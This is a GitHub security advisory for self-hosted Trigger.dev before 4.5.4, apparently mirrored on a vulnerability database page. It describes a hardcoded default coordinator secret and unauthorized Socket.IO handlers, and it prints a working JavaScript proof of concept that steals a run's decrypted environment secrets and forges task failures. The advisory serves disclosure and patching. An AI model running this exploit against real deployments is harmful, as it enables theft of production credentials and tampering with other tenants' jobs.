GHSA-GG6R-GP4C-89HP
Vulnerability from github – Published: 2026-10-02 22:39 – Updated: 2026-10-02 22:39TL;DR
The /coordinator Socket.IO namespace mounts on every webapp boot and authenticates with a default secret ("coordinator-secret") baked into source. The override variable isn't documented in the self-host docs, .env.example, or helm values, so any operator who didn't read source ships with the default. Once connected, READY_FOR_EXECUTION returns the run's decrypted env vars. Anyone who can reach a default-config self-hosted webapp can pull production secrets out of any run whose internal id they can find.
Vulnerabilities
This attack is made possible by 3 vulnerabilities in Trigger.dev:
1. Hardcoded default authentication secret (CWE-798, Critical)
PROVIDER_SECRET and COORDINATOR_SECRET are declared with .default("provider-secret") / .default("coordinator-secret") in apps/webapp/app/env.server.ts:289-290. The values are present in the public source repo, neither var is documented in docs/self-hosting/env/*.mdx, hosting/docker/.env.example, or hosting/k8s/helm/values.yaml, and the auth check at packages/core/src/v3/zodNamespace.ts:148 is a plain string compare against that published value
2. Coordinator handler returns decrypted env vars to any authenticated caller (CWE-200, High)
READY_FOR_EXECUTION at apps/webapp/app/v3/handleSocketIo.server.ts:123 calls sharedQueueTasks.getLatestExecutionPayloadFromRun(runId, ...), which at apps/webapp/app/v3/marqs/sharedQueueConsumer.server.ts:1881-1895 returns payload.environment as the run's decrypted env-var dictionary. Any internal runId is enough to exfil that run's full env, regardless of tenant. Note: this read handler lives in V1-only marqs/ code, so it returns nothing for runs on V2 (Run Engine 2.0). Self-hosts still on V1 are fully exposed; v4-only deployments only see the write handlers below
3. Other coordinator handlers accept attacker-controlled writes against arbitrary runs (CWE-862, High)
TASK_RUN_COMPLETED, TASK_RUN_COMPLETED_WITH_ACK, TASK_RUN_FAILED_TO_RUN, CHECKPOINT_CREATED, CREATE_WORKER and friends invoke webapp services with attacker-supplied completion / attempt / worker payloads. None of them check that the caller has authority over the runId or attemptId in the message. attempt_* friendlyIds leak through every dashboard URL and emailed alert, so writes are trivially reachable without any internal id
Exploit chain / PoC
import { io } from "socket.io-client";
const sock = io("https://<self-hosted-target>/coordinator", {
auth: { token: "coordinator-secret" },
transports: ["websocket"],
});
sock.on("connect", () => {
// exfil decrypted env for a known run id
sock.emit("READY_FOR_EXECUTION", { runId: "<runId>", totalCompletions: 0 }, (res) => {
console.log(res.payload.environment);
// { DATABASE_URL: "...", STRIPE_SECRET_KEY: "...", OPENAI_API_KEY: "...", ... }
});
// mark any attempt failed
sock.emit("TASK_RUN_FAILED_TO_RUN", {
completion: {
id: "<attempt_friendlyId>",
ok: false,
error: { type: "INTERNAL_ERROR", code: "FORGED", message: "owned" },
},
});
});
Resolution
Fixed in v4.5.4. The entire end-of-life V1 (Run Engine 1.0) execution stack was removed in commit 5ba8557a5 (#4236) — including the /coordinator, /provider, and /shared-queue Socket.IO namespaces, packages/core/src/v3/zodNamespace.ts, the marqs shared-queue consumer, and the PROVIDER_SECRET / COORDINATOR_SECRET environment variables.
All three vulnerabilities are absent in v4.5.4 and later: the vulnerable namespaces no longer mount, the READY_FOR_EXECUTION env-var read handler and the unauthenticated write handlers no longer exist, and the hardcoded default secrets are gone.
Affected: self-hosted Trigger.dev < 4.5.4. Vulnerability #2 (decrypted env-var exfiltration) additionally required a deployment still running Run Engine 1.0; v4-only (Run Engine 2.0) deployments were exposed only to the write handlers (#3).
Managed cloud (cloud.trigger.dev) was not affected: it was configured with non-default control-plane secrets, so the default-secret entry point (vulnerability #1) that gates the chain never applied.
Action: self-hosted operators on any release before v4.5.4 should upgrade to v4.5.4 or later.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "trigger.dev"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.5.4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-200",
"CWE-798",
"CWE-862"
],
"github_reviewed": true,
"github_reviewed_at": "2026-10-02T22:39:00Z",
"nvd_published_at": null,
"severity": "CRITICAL"
},
"details": "## TL;DR\n\nThe /coordinator Socket.IO namespace mounts on every webapp boot and authenticates with a default secret (\"coordinator-secret\") baked into source. The override variable isn\u0027t documented in the self-host docs, .env.example, or helm values, so any operator who didn\u0027t read source ships with the default. Once connected, READY_FOR_EXECUTION returns the run\u0027s decrypted env vars. Anyone who can reach a default-config self-hosted webapp can pull production secrets out of any run whose internal id they can find.\n\n## Vulnerabilities\n\nThis attack is made possible by 3 vulnerabilities in Trigger.dev:\n\n### 1. Hardcoded default authentication secret (CWE-798, Critical)\nPROVIDER_SECRET and COORDINATOR_SECRET are declared with `.default(\"provider-secret\")` / `.default(\"coordinator-secret\")` in [`apps/webapp/app/env.server.ts:289-290`](https://github.com/triggerdotdev/trigger.dev/blob/v4.4.4/apps/webapp/app/env.server.ts#L289-L290). The values are present in the public source repo, neither var is documented in `docs/self-hosting/env/*.mdx`, `hosting/docker/.env.example`, or `hosting/k8s/helm/values.yaml`, and the auth check at [`packages/core/src/v3/zodNamespace.ts:148`](https://github.com/triggerdotdev/trigger.dev/blob/v4.4.4/packages/core/src/v3/zodNamespace.ts#L148) is a plain string compare against that published value\n\n### 2. Coordinator handler returns decrypted env vars to any authenticated caller (CWE-200, High)\n`READY_FOR_EXECUTION` at [`apps/webapp/app/v3/handleSocketIo.server.ts:123`](https://github.com/triggerdotdev/trigger.dev/blob/v4.4.4/apps/webapp/app/v3/handleSocketIo.server.ts#L123) calls `sharedQueueTasks.getLatestExecutionPayloadFromRun(runId, ...)`, which at [`apps/webapp/app/v3/marqs/sharedQueueConsumer.server.ts:1881-1895`](https://github.com/triggerdotdev/trigger.dev/blob/v4.4.4/apps/webapp/app/v3/marqs/sharedQueueConsumer.server.ts#L1881-L1895) returns `payload.environment` as the run\u0027s decrypted env-var dictionary. Any internal runId is enough to exfil that run\u0027s full env, regardless of tenant. Note: this read handler lives in V1-only `marqs/` code, so it returns nothing for runs on V2 (Run Engine 2.0). Self-hosts still on V1 are fully exposed; v4-only deployments only see the write handlers below\n\n### 3. Other coordinator handlers accept attacker-controlled writes against arbitrary runs (CWE-862, High)\nTASK_RUN_COMPLETED, TASK_RUN_COMPLETED_WITH_ACK, TASK_RUN_FAILED_TO_RUN, CHECKPOINT_CREATED, CREATE_WORKER and friends invoke webapp services with attacker-supplied completion / attempt / worker payloads. None of them check that the caller has authority over the runId or attemptId in the message. `attempt_*` friendlyIds leak through every dashboard URL and emailed alert, so writes are trivially reachable without any internal id\n\n## Exploit chain / PoC\n\n```js\nimport { io } from \"socket.io-client\";\n\nconst sock = io(\"https://\u003cself-hosted-target\u003e/coordinator\", {\n auth: { token: \"coordinator-secret\" },\n transports: [\"websocket\"],\n});\n\nsock.on(\"connect\", () =\u003e {\n // exfil decrypted env for a known run id\n sock.emit(\"READY_FOR_EXECUTION\", { runId: \"\u003crunId\u003e\", totalCompletions: 0 }, (res) =\u003e {\n console.log(res.payload.environment);\n // { DATABASE_URL: \"...\", STRIPE_SECRET_KEY: \"...\", OPENAI_API_KEY: \"...\", ... }\n });\n\n // mark any attempt failed\n sock.emit(\"TASK_RUN_FAILED_TO_RUN\", {\n completion: {\n id: \"\u003cattempt_friendlyId\u003e\",\n ok: false,\n error: { type: \"INTERNAL_ERROR\", code: \"FORGED\", message: \"owned\" },\n },\n });\n});\n```\n\n## Resolution\n\nFixed in **v4.5.4**. The entire end-of-life V1 (Run Engine 1.0) execution stack was removed in commit `5ba8557a5` (#4236) \u2014 including the `/coordinator`, `/provider`, and `/shared-queue` Socket.IO namespaces, `packages/core/src/v3/zodNamespace.ts`, the `marqs` shared-queue consumer, and the `PROVIDER_SECRET` / `COORDINATOR_SECRET` environment variables.\n\nAll three vulnerabilities are absent in v4.5.4 and later: the vulnerable namespaces no longer mount, the `READY_FOR_EXECUTION` env-var read handler and the unauthenticated write handlers no longer exist, and the hardcoded default secrets are gone.\n\n**Affected:** self-hosted Trigger.dev `\u003c 4.5.4`. Vulnerability #2 (decrypted env-var exfiltration) additionally required a deployment still running Run Engine 1.0; v4-only (Run Engine 2.0) deployments were exposed only to the write handlers (#3).\n\n**Managed cloud (cloud.trigger.dev) was not affected:** it was configured with non-default control-plane secrets, so the default-secret entry point (vulnerability #1) that gates the chain never applied.\n\n**Action:** self-hosted operators on any release before v4.5.4 should upgrade to v4.5.4 or later.",
"id": "GHSA-gg6r-gp4c-89hp",
"modified": "2026-10-02T22:39:00Z",
"published": "2026-10-02T22:39:00Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/triggerdotdev/trigger.dev/security/advisories/GHSA-gg6r-gp4c-89hp"
},
{
"type": "WEB",
"url": "https://github.com/triggerdotdev/trigger.dev/pull/4236"
},
{
"type": "WEB",
"url": "https://github.com/triggerdotdev/trigger.dev/commit/5ba8557a51533be05f04245b03e1ca975cd57eff"
},
{
"type": "PACKAGE",
"url": "https://github.com/triggerdotdev/trigger.dev"
},
{
"type": "WEB",
"url": "https://github.com/triggerdotdev/trigger.dev/releases/tag/v4.5.4"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Trigger.dev: V1 coordinator default-secret unauth Socket.IO"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.